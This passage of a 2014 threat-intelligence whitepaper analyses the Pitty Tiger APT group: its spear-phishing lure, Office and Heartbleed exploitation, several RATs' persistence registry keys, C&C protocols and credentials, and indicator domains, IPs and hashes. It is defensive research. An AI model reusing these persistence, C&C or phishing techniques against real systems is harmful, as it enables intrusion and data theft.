analyzed their +technical organization. +Our investigations indicate that Pitty Tiger has not used any 0day vulnerability so far, rather they +prefer using custom malware, developed for the group +s exclusive usage. Our discoveries +indicate that Pitty Tiger is a group of attackers with the ability to stay under the radar, yet still not +as mature as other groups of attackers we monitor. +Pitty Tiger is probably not a state-sponsored group of attackers. They lack the experience and +financial support that one would expect from state-sponsored attackers. We suppose this group +is opportunistic and sells its services to probable competitors of their targets in the private sector. +We have been able to leverage several attackers profiles, showing that the Pitty Tiger group is +fairly small compared to other APT groups, which is probably why we saw them work on a very +limited amount of targets. +At the end of this report, we provide indicators of compromise to help people detect current Pitty +Tiger attacks. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 2/58 +Operation Pitty Tiger +The Eye of the Tiger +TABLE OF CONTENT +EXECUTIVE SUMMARY ..................................................................................................... 2 +TABLE OF CONTENT......................................................................................................... 3 +MODUS OPERANDI: APT ATTACKS ................................................................................ 5 +Reconnaissance phase.......................................................................................................... 5 +Initial compromise .................................................................................................................. 6 +Access strengthening & lateral moves ................................................................................... 6 +Data exfiltration ...................................................................................................................... 7 +PITTY TIGER + INVESTIGATION CONTEXT .................................................................... 8 +INFECTION METHODS....................................................................................................... 9 +Spear Phishing and weaponized documents ......................................................................... 9 +Direct attacks ....................................................................................................................... 10 +MALWARE INFORMATION .............................................................................................. 12 +Troj/ReRol.A ........................................................................................................................ 12 +PittyTiger RAT ..................................................................................................................... 16 +CT RAT................................................................................................................................ 19 +MM RAT (aka Troj/Goldsun-B) ............................................................................................. 23 +Paladin RAT ........................................................................................................................ 26 +Leo RAT .............................................................................................................................. 28 +INFRASTRUCTURE .......................................................................................................... 30 +Avstore.com.tw .................................................................................................................... 30 +Skypetm.com.tw .................................................................................................................. 32 +Common characteristics between the two domains ............................................................. 35 +Other domains linked with the Pitty Tiger group ................................................................... 36 +VICTIMS ............................................................................................................................ 39 +ATTACKERS ..................................................................................................................... 40 +Attacker +s connections to the c&c ........................................................................................ 40 +TooT + .................................................................................................................................. 44 +Cold & Snow +...................................................................................................................... 48 +Roles and organization ........................................................................................................ 48 +Attackers arsenal ................................................................................................................. 49 +ATTRIBUTION .................................................................................................................. 53 +CONCLUSION ................................................................................................................... 56 +INDICATORS .................................................................................................................... 57 +Domains .............................................................................................................................. 57 +Malware hashes................................................................................................................... 57 +Malware Strings ................................................................................................................... 58 +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 3/58 +Operation Pitty Tiger +The Eye of the Tiger +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 4/58 +Operation Pitty Tiger +The Eye of the Tiger +MODUS OPERANDI: APT ATTACKS +APT attacks follow what we call the +APT kill chain +. The kill chain describes briefly the way +attackers do perform their actions. +It can be summarized by the following scheme: +RECONNAISSANCE PHASE +The reconnaissance phase commences when an attacker selects a new target and involves the +acquisition of information about that target. +There is very little information available about this phase, and there is little data about it. The only +way to collect information about this phase would be to already monitor all attackers + actions at this +step, which is hardly feasible. +The longer the attackers spend time in attempting to understand their target and its online presence, +the easier it will be to find efficient ways to penetrate that company +s systems. +This reconnaissance phase is both about finding information to break into the targeted network +successfully and about searching for data which could help to accelerate sensitive information +isolation (like the name of a key employee for example). +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 5/58 +Operation Pitty Tiger +The Eye of the Tiger +This phase mostly relies on open sources from the Internet: social networks, press releases, white +papers, corporate websites, search engines, but also on some active tools like vulnerability +scanners etc. +INITIAL COMPROMISE +At this stage, the APT attackers have a solid knowledge of their target and its key employees. The +attackers have everything they need to start looking for an entry point to the company +s network and +establish one or several permanent backdoors into the environment. +The attackers mostly rely on two techniques here to infect one or several computers, usually +workstations, inside the target +s network: spear phishing and drive-by downloads. +Spear phishing can be described as targeted e-mail phishing. In a spear phishing scheme, attackers +send very few e-mails to targeted people. In fact, they can even send just a single e-mail. The trick +is to target the right victim and provide it with the right content, so that they will click on a link leading +to drive-by download of a malware, or open an attached file which will infect their computer. +Some groups of attackers also use +watering hole + techniques to successfully compromise their +targets. To build a watering hole attack, attackers do compromise the website of a third party, +generally a supplier of the target, which is typically visited by a specific group of professionals and +very likely by the target. Every visitor of the compromised third party is then infected. The method +has one major drawback: it will also infect third parties who visit the website. Attackers have +developed ways to avoid this. If their reconnaissance phase has been done effectively, they already +know all IP ranges used by the target company. It just takes a few lines of code in the infecting script +to only compromise visitors coming from the target IP ranges. +Direct attacks against servers of the target can also be a way to penetrate the target +s network. +ACCESS STRENGTHENING & LATERAL MOVES +Attackers have gained access to one or several machines inside the target +s corporate network. +They need to install several different backdoors in order to be able to always access the network. In +case one backdoor falls, there will be others. +As soon as the attackers are sure they have enough access, they start looking for two things: +intellectual property (or anything else they want to know or steal) in alignment with predefined +mission objectives, and a means of privilege escalation to facilitate lateral movement within the +compromised environment. It generally does not take long before the attackers gain domain +administrator privileges and dump all the Active Directory content. +They use lateral moves between machines inside the network, and look for everything they need. +This step is very hard to detect, since they only use valid credentials and legitimate administration +tools such as PsExec. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 6/58 +Operation Pitty Tiger +The Eye of the Tiger +DATA EXFILTRATION +Data exfiltration is the last step before the attackers loop to the lateral moves step, in a never-ending +circle of prolonged access and information theft. +They generally create archive files containing the content they want to exfiltrate, which are then sent +to the attackers by using a remote administration tool (RAT) or transfer protocols such as FTP and +HTTP. +This phase is not the end of an APT attack. The attackers loop to the access strengthening/lateral +moves stage and generally keep stealing more information and stay inside the network for more +data gathering. +For more information about all the APT phases, please refer to our APT Kill Chain blog post serie1. +http://blog.cassidiancybersecurity.com/tag/APT +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 7/58 +Operation Pitty Tiger +The Eye of the Tiger +PITTY TIGER + INVESTIGATION CONTEXT +During our regular investigations on APT cases, one particular variant of malware caught our +attention, because we had not faced it before. We decided to spend some time to investigate around +this malware and found out that it was used exclusively by a single group of attackers. This malware +family is known as +PittyTiger + by the anti-virus research community. +We discovered this malware sample in June 2014, leading to a command & control (c&c) server still +in activity. +Our researches around this particular malware family revealed the +Pitty Tiger + group has been +active since 2011, yet we found other publications1 which could probably be attributed to the same +group of attacker back in 20102. +This group uses other malware and tools during their APT operations, in addition to the PittyTiger +RAT. +A variant of the infamous Gh0st RAT dubbed +Paladin + has been used repeatedly by the PT group, +together with other RATs which seem to be developed exclusively for the PT group: +MM RAT + (aka +Troj/Goldsun-B), and +CT RAT +. Another variant of Gh0st RAT named + has been found inactive +on a c&c server. +We also found another malware, named +Troj/ReRol.A +. This one is also used by the group to infect +workstations, collect system information, and install more malware on the infected computer. It acts +as a first stage downloader and system data collector often used in the initial compromise of the +Pitty Tiger campaigns, generally embedded in Microsoft Office documents. +Thanks to server +s misconfigurations, we managed to get information from three c&c servers used +by this group of attackers, which provided us with insight from the end of 2013 to the beginning of +July 2014. +Our investigation has been focused on the data we could get from these c&c servers but also on the +Pitty Tiger environment. +This whitepaper aims to expose the view we have on the group, especially on their infrastructure +and capabilities. We hope this publication will bring further counter analysis from the research +community to enrich the global common threat knowledge. +http://nakedsecurity.sophos.com/2012/08/03/poisoned-doc-targeted-malware-attack/ +http://nakedsecurity.sophos.com/2010/06/24/targeted-trident-cyberattack-defence-company/ +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 8/58 +Operation Pitty Tiger +The Eye of the Tiger +INFECTION METHODS +SPEAR PHISHING AND WEAPONIZED DOCUMENTS +Pitty Tiger, like most other APT groups, use spear phishing e-mails extensively in order to gain an +initial foothold within the targeted environment. +We have been able to find a spear phishing e-mail crafted by the attackers. This e-mail spoofed the +identity of an employee of a targeted company: +From: XXXXXXX +To: XXXXXXX +File: 1 Attachment: Bird +s Eye Point of View.doc +While the holiday season means clustering clustering +time for a +vacation + for many, there are Those That Will Be of us staying home this +year. That +s why we +ve Decided to take you on a trip around the world +from a bird +s eye view of the item! It +s safe to say That MOST of the +lucky people on vacation Will not see breathtaking sights like these. +Remember to look down! +XXXXXX +The attached file is a Microsoft Office Word document triggering CVE-2014-1761 to infect the +computer it is sent to: +Word document used to infect computers with Troj/ReRol.A +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 9/58 +Operation Pitty Tiger +The Eye of the Tiger +While this example looks very +amateur + for a spear phishing attempt, we suppose the group has +conducted more advanced spear phishing campaigns, based on the fact that we found infected +Word documents showing content stolen from victims of the group. These documents were infecting +the system with Troj/ReRol.A malware, which we will detail later in this report. +This could mean that the Pitty Tiger group is using stolen material as spear phishing content either +to target other persons in the compromised company, or to target other persons in a competitor +company, or more generally to compromise another target. +Pitty Tiger also seem to use fake Microsoft Office Excel content, yet we could only find empty +content delivering once again the Troj/ReRol.A malware. +DIRECT ATTACKS +Although we have not been able to find evidences of any attack aimed at exploiting vulnerabilities on +the group +s targets servers, we have been able to record several vulnerability scanning launched +from one c&c server straight to the targets. +The attackers have been using different vulnerability scanners aimed at their targets. While some +targets have been scanned with +generic + vulnerability scanning tools like HScan or Fluxay and port +scanners like Nmap, some other targets have been scanned for very specific vulnerabilities, like a +ZyWALL vulnerability or a FORTINET product. +We have also been able to testify that the Pitty Tiger group has successfully collected information on +some of their targets by exploiting the HeartBleed1 bug. This vulnerability which exists on some old +versions of OpenSSL allows attackers to collect data from chunks of memory from the targeted +machine. It allowed the Pitty Tiger group to get admin credentials from at least one target, for +example. +Memory data leak from one server + Heartbleed exploit on one of PittyTiger +s targets +http://heartbleed.com/ +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 10/58 +Operation Pitty Tiger +The Eye of the Tiger +Running automated vulnerability scanners on whole ranges of IP addresses used by the targets or +on several domains is a very noisy way to collect information and find server vulnerabilities. We +would advocate that this method is unwise when you want to stay furtive, and doing it from a c&c +server is very surprising, to say the least. While the Pitty Tiger group is experienced on some +aspects on its running APT campaigns, it definitely lacks some maturity here. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 11/58 +Operation Pitty Tiger +The Eye of the Tiger +MALWARE INFORMATION +TROJ/REROL.A +One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office +Word document which exploits a specific vulnerability. +The payload infecting the system is malware known as +Troj/ReRol.A +. It is generally the first step of +the initial compromise for Pitty Tiger campaigns. +Exploitation +We have been able to find one such document1 used by that group of attacker, exploiting CVE2012-0158, an old critical vulnerability impacting Microsoft Office and corrected by Microsoft +MS12-027 fix in April 2012. This vulnerability affects Microsoft Office versions up to Office 2010. We +also found one RTF document embedding CVE-2014-1761, which is a more recent exploit. +We discovered several different documents spreading this malware by triggering CVE-2012-0158 +vulnerability, yet we could not share them in this report, since these documents contain information +about victims of the Pitty Tiger group. +The discovery of this + vulnerability exploitation in June 2014 could mean that the Pitty Tiger +group has no direct access to 0day exploits, or not enough budgets to buy some. It could also mean +they use their low range exploit by default because it is working on their targets and is sufficient to +compromise their workstations. +The Word document we initially found was probably a +test + document used by the group. When +opened, it shows a single line written in Chinese language, which can be translated as +Hello! +Microsoft Office Word decoy +test document + used by the Pitty Tiger group +Installation +When successfully triggered, the exploit infects the host by dropping and executing a file named +svohost.exe +2 in the temporary folder of the currently logged-in user: +MD5 hash: e70c0479cdb9aa031a263740365e7939 +MD5 hash: 1752aacc08ee0acd58405e9bc10b0dbb +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 12/58 +Operation Pitty Tiger +The Eye of the Tiger +C:\DOCUME~1\USER\LOCALS~1\Temp\svohost.exe +This binary is +Troj/ReRol.A + according to Sophos naming convention1. It immediately triggers +alarms on our sandbox: +Alarms in our sandbox system, triggered by the Troj/ReRol.A malware +The binary drops a copy of itself in the Application Data folder of the currently logged-in user: +Creation of a copy of the Pitty Tiger malware in a user folder in our sandbox +The malware initiates a communication to time.windows.com to check for connectivity, and then +communicates with the c&c server at mac.avstore.com.tw. +http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~RerolA/detailed-analysis.aspx +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 13/58 +Operation Pitty Tiger +The Eye of the Tiger +Beginning of an encrypted communication between the Troj/ReRol.A malware and its c&c server +Very few variants of Troj/ReRol.A are public. The variants we have seen did use that same UserAgent: +Mozilla/4.0 (compatible;) +The persistence mechanism used by the malware is the creation of a registry key named +Shell +containing the path to the malware on the infected system: +Key Path: \REGISTRY\USER\\Software\Microsoft\Windows +NT\CurrentVersion\Winlogon +Value Name : Shell +Value : explorer.exe,C:\DOCUME~1\XXXXXX\APPLIC~1\svohost.exe, +The payload of this malware is used to collect information on the newly infected host, and send it +back to the c&c server. It can also download and execute binaries. +Command & Control +The data sent in the POST request has a 0x11 bytes header consisting of a fixed-value byte (0xc3) +followed by a 0x10 bytes encryption key. The data following the header is encrypted using RC4 with +the previous key. Once the data is deciphered, the last byte of the clear text should also be 0xc3. +We have been able to decrypt the communications and confirmed what is transmitted to the c&c +server. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 14/58 +Operation Pitty Tiger +The Eye of the Tiger +Here is an anonymized sample of communication showing information collected by the malware: +HostName :xxx +UserName :xxx +SysType :32bit +Windows 7 Enterprise Service Pack 1 6.1 7601 +Organization: +Owner:xxx +--------------Server Info------------------- AdobeARMservice +- Adobe Acrobat Update Service +- AeLookupSvc +- Application Experience +- AudioEndpointBuilder + (list goes on) +--------------Soft Info------------------1 +Adobe AIR 4.0.0.1390 +Adobe Shockwave Player 12.0 12.0.9.149 +FileZilla Client 3.7.4.1 3.7.4.1 +Mozilla Thunderbird 24.3.0 (x86 en-US) 24.3.0 + (list goes on) +--------------IP Config------------------Adapt Type: Ethernet +NetCardNum: +NetCard Name: +{XXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} +Description : +Realtek RTL8139C+ Fast Ethernet NIC +MAC-ADDR: +XX-XX-XX-XX-XX-XXX +IP-Addr: +10.xxx.xxx.xxx +IP-Mask: +255.255.255.0 +GateWay: +10.xxx.xxx.xxx +DHCP Serv: +DHCP Host: +10.xxx.xxx.xxx +WINS Serv: +WINS PriHost: +WINS SecHost: +Sample information collected by Troj/ReRol.A malware +This information is very useful for an attacker: it shows all software installed on the system, and +running services. +Once this data has been transferred to the c&c server, it responds by sending additional malware to +execute on the machine. +The c&c part consists of two files: +- dr.asp: an ASP frontend instantiating a control, setting some variables, and passing the +payload. +- JHttpSrv.dll: a controller which should be registered via +regsvr32 +. It exposes 4 methods +which can be called by the ASP script: +o SetIP(strIP): sets the bot IP address +o AddKeyword(strKeyword, strFilePath): binds a keyword to a binary on the server +o Work(lpByteArray, nDataLength): deciphers the payload, looks for the registered +keywords, and writes it to a logfile +o ResponseBinary(): sends back the binary matching a specific a keyword +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 15/58 +Operation Pitty Tiger +The Eye of the Tiger +The dr.asp registers the following keywords: +SysType :32bit + to the binary +32.exe +SysType :64bit + to the binary +64.exe +These two binaries were no longer available on the server. However, we found various files which +could have been used as +32.exe + in the past: +- 3200.exe +- 322.exe +- 32m.exe +- 32mm.exe +The 322.exe file is a legitimate, Chinese, calc.exe tool. It might have been used by the attackers to +perform tests. +The 3 others binaries are RATs, which will be detailed in the next parts. +PITTYTIGER RAT +This RAT is the origin of the attackers + group name. +PittyTiger + is a mutex used by the malware. +Pitty Tiger + is also a string transmitted in the network communications of the RAT, as you will see in +this chapter. +Installation +The malware1, when running in our sandbox, triggers the following alarms: +Alarms in our sandbox system, triggered by the PittyTiger malware +The binary drops two files in +C:\Windows\System32 +MD5 hash : be18418cafdb9f86303f7e419a389cc9 +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 16/58 +Operation Pitty Tiger +The Eye of the Tiger +Files dropped by the PittyTiger RAT in our sandbox +The +qmgrxp.exe + binary is a simple copy of the original binary. It drops the +packet64.dll +, and +injects it in +explorer.exe +. When executed, a mutex called +PittyTiger + is created. +Persistence is achieved by adding the path to the binary to the WinlogonUserInit key: +Key Path: \REGISTRY\USER\\Software\Microsoft\Windows +NT\CurrentVersion\Winlogon +Value Name: UserInit +Value: C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\qmgrxp.exe, +The +packet64.dll + is the main payload of the RAT. After being injected, it starts sending its Hello +packet to its c&c server: +Sample communication from PittyTiger RAT +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 17/58 +Operation Pitty Tiger +The Eye of the Tiger +Command & Control +All the requests sent to the c&c contains the string +/FC001/ + followed by the bot id. This id consists +of the infected computer name followed by a dash and the lower word of the disk serial id. +The data sent is simply encoded using base64, there is no cipher at all. The hello packet, once +decoded, looks like the following: +--------------------------PittyTigerV1.0 +--------------------- +-------------- +---------------------------- +-------------- +---------------------------- +Version:NULL +Our sample had 3 c&c servers configured: +- jackyandy.avstore.com.tw:80 +- chanxe.avstore.com.tw:443 +- newb02.skypetm.com.tw:80 +The following commands are implemented: +- File Download (get) and Upload (put) +- Screen Capture 8bit (prtsc) and 16bit (prtsc2) +- Remote Shell (ocmd/ccmd) +- Configuration update (setserv/freshserv) +- Direct command execution +Regarding the controller part, we found two different versions: +- A Delphi binary handling PittyTiger connections only +- A .NET binary handling both PittyTiger and CT connections +The interface handling both Pitty TIGER and CT connections is very interesting. We have been able +to confirm that the author of those two families of malware is the same person, as will be seen in the +next chapter about +CT RAT +Pitty Tiger RAT + controller part +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 18/58 +Operation Pitty Tiger +The Eye of the Tiger +CT RAT +This remote administration tool is often used by the Pitty Tiger group. We have been able to acquire +both the client and the server parts. +We found two instances of the same binary with different names + 32mm.exe and mm32.exe1. +This RAT seems to be an evolution of PittyTiger, since a specific server binary we found could +handle both requests from CT and PittyTiger, and was indicated as compatible with PittyTiger. +Moreover, the same commands are implemented in both RATs. +Installation +Unsurprisingly, when running in our sandbox, the RAT triggers the same alarms as PittyTiger: +Alarms in our sandbox system, triggered by the CT RAT +The binary drops two files in +C:\Program Files\Internet Explorer +MD5 hash: f65dc0b3eeb3c393e89ab49a3fac95a8 +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 19/58 +Operation Pitty Tiger +The Eye of the Tiger +Files dropped by the CT RAT in our sandbox +The +ieupdate.exe + is a simple binary to inject the DLL into +explorer.exe +Persistence is achieved via the following registry key: +Key Path: \REGISTRY\USER\\Software\Microsoft\Windows +NT\CurrentVersion\Windows +Value Name: load +Value: c:\PROGRA~1\INTERN~1\ieupdate.exe +After injection, the RAT sends a first login packet to its c&c: +Encrypted communication from a machine infected with CT RAT +Command & Control +The RAT communication is performed through HTTP requests. The data is sent encrypted with +RC4, and base64-encoded. The RC4 key is the Unicode form of the requested URL. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 20/58 +Operation Pitty Tiger +The Eye of the Tiger +The Login packet contains the following string, after decoding and deciphering: +Login +->C:PC-XXX +->U:User-XXX +->L:10.10.10.1 +->S:Microsoft Windows XP Service Pack 3 5.1 2600 +->M:Nov 13 2013 +->P:1033 +It contains the computer name, the user name, the internal IP address, the OS version, the RAT +internal version and the Language ID of the system. +The RAT can then receive commands from its c&c. Usual RAT features are implemented: +- File Download (GET) and Upload (PUT) +- Remote shell (ocmd/ccmd) +- Configuration update (cfg) +- Sleep (sleep) +Version and author(s) +Regarding the configuration, our sample communicates with +sop.avstore.com.tw +, and contains the +string +Nov 13 2013 +, which should be a version identifier. +The c&c part is a Windows binary written in .NET. We found 2 versions: +- Version 2013.10: CT only controller +- Version 2013.12: CT and PittyTiger controller +The About form gives the name of the developer(s): +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 21/58 +Operation Pitty Tiger +The Eye of the Tiger +CT controller in action with a testing machine of ours +The version of the controller which can handle both PittyTiger and CT shows the same author(s): +CT/PittyTiger controller +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 22/58 +Operation Pitty Tiger +The Eye of the Tiger +As these screenshots show, the switch between PittyTiger and CT was probably in the last semester +of 2013. +The text can be translated, thanks to Google Translate, as: +CT console (compatible pittytiger) v1.3 +2013.12 by Trees and snow +Further discussion about this author is provided in subsequent sections. +MM RAT (AKA TROJ/GOLDSUN-B) +We named this malware +MM RAT + at the beginning of our investigation, before we found an +existing name for it, +Troj/Goldsun-B + according to Sophos. This is another remote administration +tool often used by the Pitty Tiger crew. We have been able to acquire both a client and server part +for it. +Installation +The binary we found is named 3200.exe1, and triggers the following alarms in our sandbox: +Alarms in our sandbox system, triggered by the Troj/Goldsun-B malware +The +release.tmp + file is dropped on the system: +MD5 hash: 728d6d3c98b17de3261eaf76b9c3eb7a +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 23/58 +Operation Pitty Tiger +The Eye of the Tiger +File dropped by the malware in our sandbox +The binary is also copied to the user +Application Data + directory, and injects the +release.tmp + file +explorer.exe +Persistence is achieved by adding the path to the binary to the Winlogon Shell key: +Key Path: \REGISTRY\USER\\Software\Microsoft\Windows +NT\CurrentVersion\Winlogon +Value Name: Shell +Value: explorer.exe,C:\DOCUME~1\\APPLIC~1\, +The RAT embeds its own DNS server IP addresses to make the c&c domain names resolutions. +These addresses are listed below: +63.251.83.36 +64.74.96.242 +69.251.142.1 +212.118.243.118 +216.52.184.230 +61.145.112.78 +218.16.121.32 +Command & Control +It starts resolving its domains after injection, and immediately sends requests. First requests are +used to check for updates (GET request on /httpdocs/update/update.ini). A Hello packet is then sent: +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 24/58 +Operation Pitty Tiger +The Eye of the Tiger +Hello packet sent by Troj/Goldsun-B to its c&c server +The bot then repeatedly sends GET requests on +/httpdocs/mm//ComMand.sec + to retrieve +remote commands. +The communication protocol is quite simple: GET requests are used to receive data from the c&c, +and POST requests to send data. In POST commands, the CGI name represents the command. +The following features are implemented: +- c&c authentication using password +- Remote shell +- Remote commands +- File Download / Upload / Deletion / Search +- Bot termination +The following CGI files can be requested by the bot: +- Vip: test for connectivity +- Owpp4: register new bot +- CReply: answer to remote commands +- Clrf: clear remote file (to clear ComMand.sec after reading) +- CFile: transmit file (file transfers or answers to commands) +- Cerr: send error +The configuration is stored locally in a file called +schmup.sys +. The file is ciphered using RC4, using +the MD5 hash of +rEdstArs + as the key. +Our sample uses +mca.avstore.com.tw +star.yamn.net + and +bz.kimoo.com.tw + as c&c servers. It +contains the +1.6.0 + version number, and uses the password +9ol.8ik, + to authenticate with the bots. +Unlike others c&c binaries, the c&c part of this RAT does not have a graphical interface, but can be +remotely requested to manage the bots. Furthermore, no authentication is required to send +commands to the c&c (but you need to know the configured password to interact with the bots). +The management protocol is the same as the bots protocol, with different CGI files: +- Shutdown: shutdown the c&c +- Cnor: add a new command for a bot (writes it in +ComMand.sec +- Mlist: get the list of bots +- Mlist2: write the list of bots to the file +Online.dat +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 25/58 +Operation Pitty Tiger +The Eye of the Tiger +The bots + answers to remote commands can be retrieved by requesting the +Reply.sec + file (e.g. +GET /httpdocs/mm//Reply.sec) +Network patterns +These network patterns might ring bells in some researcher +s minds. The network communication +used by this binary are the same as those used by the Enfal malware, which has been used in the +past by the Lurid group (APT attackers) and by other threat actors in China1. +An examination of the code did not reveal code similarities with the Enfal malware. We do not +currently know why this malware uses the same patterns to communicate. +PALADIN RAT +This is another remote administration tool used by the Pitty Tiger group. We have been able to get +both a client and server part of it. +Installation +The binary we found was dropped by a malicious Word document. The following alarms are +triggered in the sandbox: +Alarms in our sandbox system, triggered by the Paladin RAT +The shellcode contained in the Word file drops the following file, and executes it: +- C:\Documents and Settings\\Local Settings\Temp\svohost.exe2 +This one drops in turn the following file: +http://la.trendmicro.com/media/misc/lurid-downloader-enfal-report-en.pdf +MD5 hash: 0567fd7484efbae502cac279d32ed518 +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 26/58 +Operation Pitty Tiger +The Eye of the Tiger +File dropped by the malware in our sandbox +This tmp file is then copied to +C:\Windows\system32\Nwsapagentex.dll + and registered as a service +called +Nwsapagent +This malware is a variant of the infamous Gh0st RAT1. Our specific sample uses +ssss0 + instead of +the usual +Gh0st + header for network communications. +Command & Control +The commands ID used in the communication protocol have also changed, but the features are +quite the same. +The configuration is directly embedded in the binary, and deciphered at runtime. Up to 5 c&c servers +can be configured, but our sample only had one: +ey.avstore.com.tw:53 + could stand for +Ernst & Young +. It would not be very surprising, since a lot of different attack +groups do use anti-virus vendors or other big company +s names to try to look more legitimate. Pitty +Tiger is no exception, as detailed later in this report. +We also found two c&c binaries, claiming to be versions 2.1 and 2.2 of the Paladin RAT controller. +Version 2.1 answers to the +ssss0 + header, while version 2.2 uses the classical +Gh0st + header. +Paladin controller used with one of our testing machines +http://www.mcafee.com/sg/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 27/58 +Operation Pitty Tiger +The Eye of the Tiger +Paladin has multiple features: file transfer, screenshot, command shell +LEO RAT +Additionally to the Paladin RAT, we found another variant of Gh0st RAT, named +. Although we +have found it on a c&c server of the group, there is no evidence that is has been used by the group, +in opposition to Paladin which is used often by Pitty Tiger. +Moreover, the built malware we found in the same folder was configured to connect to a local IP +address, probably for testing purposes. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 28/58 +Operation Pitty Tiger +The Eye of the Tiger +Leo malware controller screenshot + a variant of Gh0st RAT +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 29/58 +Operation Pitty Tiger +The Eye of the Tiger +INFRASTRUCTURE +Our investigation has focused on three particular c&c servers used by the group. These c&c servers, +unlike the other c&cs used by the group, have been misconfigured. Once parsed and dumped, it +provided us with more insight. +We found several domains used by the Pitty Tiger group, the most interesting ones being detailed in +this chapter. +Pitty Tiger, like other APT attackers, often use anti-virus +familiar names + when registering domains +or creating subdomains. Some examples can be avstore.com.tw, sophos.skypetm.com.tw, +symantecs.com.tw, trendmicro.org.tw etc. +AVSTORE.COM.TW +WHOIS Data +registration +information +this +domain +been +same +since +2013-06-04: +Domain Name: avstore.com.tw +Registrant: +information of network company +longsa longsa33@yahoo.com ++86.88885918 +No.520.spring road.shenyang +shanghai, shanghai +This information has been used to register another domain, skypetm.com.tw, which has also been +used by the Pitty Tiger group. +Malware families +Our research also led us to the discovery of four different malware families connected to +subdomains of avstore.com.tw: +PittyTiger RAT (aka Backdoor:Win32/Ptiger.A) +Troj/ReRol.A +CT RAT +Paladin RAT (variant of Gh0st RAT) +Family +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 30/58 +Operation Pitty Tiger +The Eye of the Tiger +0d3b3b422044759b4a08a7ad8afe55c7 +75cf4f853f0f350fac9be87371f15c8d +b6380439ff9ed0c6d45759da0f3b05b8 +5e2360a8c4a0cce1ae22919d8bff49fd +f65dc0b3eeb3c393e89ab49a3fac95a8 +e7dc3bbe8b38b7ee0e797a0e27635cfa +4ce8593c9de2b27b5c389f651c81638b +Paladin dropper +Exploit:Win32/CVE-2012-2539 +Troj/ReRol.A dropper +Troj/ReRol.A +8df89df484ca5c376b763479ea08d036 +be18418cafdb9f86303f7e419a389cc9 +PALADIN +Pitty Tiger RAT +ey.avstore.com.tw +mac.avstore.com.tw +sop.avstore.com.tw +CT RAT +chanxe.avstore.com.tw +jackyandy.avstore.com.tw +jackyandy.avstore.com.tw +MD5 hashes of files linked to avstore.com.tw +Links between malware samples, malware families, and avstore.com.tw subdomains +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 31/58 +Operation Pitty Tiger +The Eye of the Tiger +C&C servers and IP addresses +Hosting company +Geolocation +IP Range +IP Address +Host +Time space +HongkongDingfengxinhuiBgp +Datacenter +Kowloon, Hong +Kong +122.10.0.0 +122.10.63.255 +122.10.48.189 +chanxe.avstore.com.tw +Actually in use +jackyandy.avstore.com.tw +Hurricane Electric Inc +Fremont, USA +66.220.0.0 +66.220.31.255 +66.220.4.100 +mac.avstore.com.tw +Actually in use +sop.avstore.com.tw +ey.avstore.com.tw +New World Telephone LTD +Hong Kong City, +Hong Kong +58.64.175.0 +58.64.175.255 +58.64.175.191 +jackyandy.avstore.com.tw +Dec. 2013 +Avstore.com.tw infrastructure: hosting and subdomains +SKYPETM.COM.TW +WHOIS Data +This domain has shown two different WHOIS entries through time: +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 32/58 +Operation Pitty 